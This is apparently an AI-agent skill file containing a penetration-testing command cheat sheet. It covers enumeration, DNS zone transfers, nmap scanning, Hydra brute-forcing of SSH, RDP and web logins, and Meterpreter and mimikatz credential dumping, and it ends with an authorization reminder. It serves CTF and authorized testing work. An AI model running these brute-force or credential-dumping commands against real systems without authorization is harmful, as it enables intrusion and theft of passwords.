| name | Quick Pentest Reference |
| description | This skill should be used when the user asks to "perform quick enumeration", "run directory busting", "enumerate DNS", "discover live hosts", "brute force passwords", or "needs a pentest cheat sheet". It provides rapid reference commands for penetration testing. |
| version | 1.0.0 |
| tags | ["pentest","enumeration","reconnaissance","scanning","cheat-sheet","quick-reference"] |
Quick Pentest Reference
Purpose
Provide rapid-access command references for common penetration testing tasks including directory busting, DNS enumeration, host discovery, service scanning, and password brute forcing. This skill serves as a quick reference for CTFs and penetration testing engagements.
Prerequisites
Required Tools
- Nmap, Gobuster, FFUF
- Hydra, Nikto
- dig, nslookup, host
- SecLists wordlists
Installation
sudo apt update
sudo apt install nmap gobuster ffuf hydra nikto dnsutils
sudo apt install seclists
Core Workflow
Phase 1: Directory Busting
Discover hidden directories and files:
Gobuster Directory Scan
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s 200,301,302
FFUF Directory Scan
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/wordlists/common.txt -e .php,.txt,.html
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt -fs 4242
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt -fc 404
Phase 2: VHOST Enumeration
Discover virtual hosts and subdomains:
Gobuster VHOST Scan
gobuster vhost -u http://example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
FFUF VHOST Scan
ffuf -u http://example.com -H "Host: FUZZ.example.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
ffuf -u http://example.com -H "Host: FUZZ.example.com" -w wordlist.txt -fs 0
Phase 3: Digital Certificate Reconnaissance
Passive subdomain discovery via certificates:
Certificate Search Engines
crt.sh Command Line
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u
Phase 4: DNS Enumeration
Query DNS records for intelligence:
DNS Record Types
| Type | Purpose |
|---|
| A | IPv4 address |
| AAAA | IPv6 address |
| MX | Mail servers |
| NS | Name servers |
| TXT | Text records |
| CNAME | Canonical name |
| SOA | Start of authority |
Dig Commands
dig example.com A
dig example.com ANY
dig example.com MX
dig example.com NS
dig example.com TXT
dig -x 192.168.1.1
dig @8.8.8.8 example.com
Host Command
host example.com
host -t MX example.com
host -t NS example.com
host -a example.com
Nslookup
nslookup
> server 8.8.8.8
> set type=MX
> example.com
nslookup example.com
nslookup -type=MX example.com
nslookup -type=NS example.com
Phase 5: Zone Transfer
Attempt DNS zone transfer for full records:
dig @ns1.example.com example.com AXFR
host -l example.com ns1.example.com
nslookup
> server ns1.example.com
> ls -d example.com
Phase 6: Automated DNS Tools
DNSRecon
dnsrecon -d example.com
dnsrecon -d example.com -t axfr
dnsrecon -d example.com -t brt -D /usr/share/wordlists/subdomains.txt
DNSenum
dnsenum example.com
dnsenum --enum example.com -f /usr/share/wordlists/subdomains.txt
Fierce
fierce --domain example.com
fierce --domain example.com --subdomain-file wordlist.txt
Phase 7: Host Discovery
Identify live hosts on network:
Netdiscover
netdiscover -i eth0
netdiscover -p -i eth0
netdiscover -r 192.168.1.0/24
ARP Scan
arp-scan -l
arp-scan -I eth0 -l
arp-scan 192.168.1.0/24
Nmap Host Discovery
nmap -sn 192.168.1.0/24
nmap -sn -PR 192.168.1.0/24
nmap -sn -PE 192.168.1.0/24
nmap -sn -PS 192.168.1.0/24
nmap -sn -PU 192.168.1.0/24
nmap -sn -PP 192.168.1.0/24
nmap -sn -PM 192.168.1.0/24
Phase 8: Service and OS Discovery
Enumerate ports, services, and operating systems:
Nmap Service Scans
nmap -sS -sV 192.168.1.1
sudo nmap -T4 -p- -A 192.168.1.1
nmap -sU -T4 192.168.1.1
nmap -sS -sV --top-ports 1000 192.168.1.1
nmap -sS -sV -sC -O -p- 192.168.1.1
nmap --script=banner 192.168.1.1
nmap 192.168.1.0/24
Nikto Web Scanner
nikto -h http://192.168.1.1
nikto -h https://192.168.1.1 -ssl
nikto -h http://192.168.1.1 -o nikto_report.html -Format html
Phase 9: Password Brute Force
Attack authentication services:
Hydra
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
hydra -L users.txt -P passwords.txt ftp://192.168.1.1
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
hydra -l administrator -P passwords.txt rdp://192.168.1.1
hydra -L users.txt -P passwords.txt smb://192.168.1.1
Phase 10: Post Exploitation
Actions after gaining access:
Windows Credential Dumping
meterpreter> hashdump
meterpreter> getsystem
meterpreter> load kiwi
meterpreter> creds_all
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::sam
Linux Privilege Escalation
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.*
./linpeas.sh
Quick Reference
Essential Wordlists
| Path | Purpose |
|---|
/usr/share/wordlists/dirb/common.txt | Common directories |
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | Medium directory list |
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | Subdomains |
/usr/share/wordlists/rockyou.txt | Passwords |
Command Quick Reference
| Task | Command |
|---|
| Directory bust | gobuster dir -u URL -w wordlist |
| VHOST enum | ffuf -H "Host: FUZZ.domain" -u URL -w wordlist |
| DNS lookup | dig domain.com ANY |
| Zone transfer | dig @ns.domain.com domain.com AXFR |
| Host discovery | nmap -sn 192.168.1.0/24 |
| Port scan | nmap -sS -sV -p- target |
| Brute force | hydra -l user -P list service://target |
Constraints and Limitations
Authorization
- Only test systems you own or have permission to test
- Document all testing activities
- Stay within scope
Tool Limitations
- Some scans may trigger IDS/IPS
- Rate limiting may block aggressive scans
- Firewalls may block certain techniques
Troubleshooting
Scans Returning No Results
Solutions:
- Verify target is reachable
- Try different scanning techniques
- Check for firewall blocks
- Use slower scan rates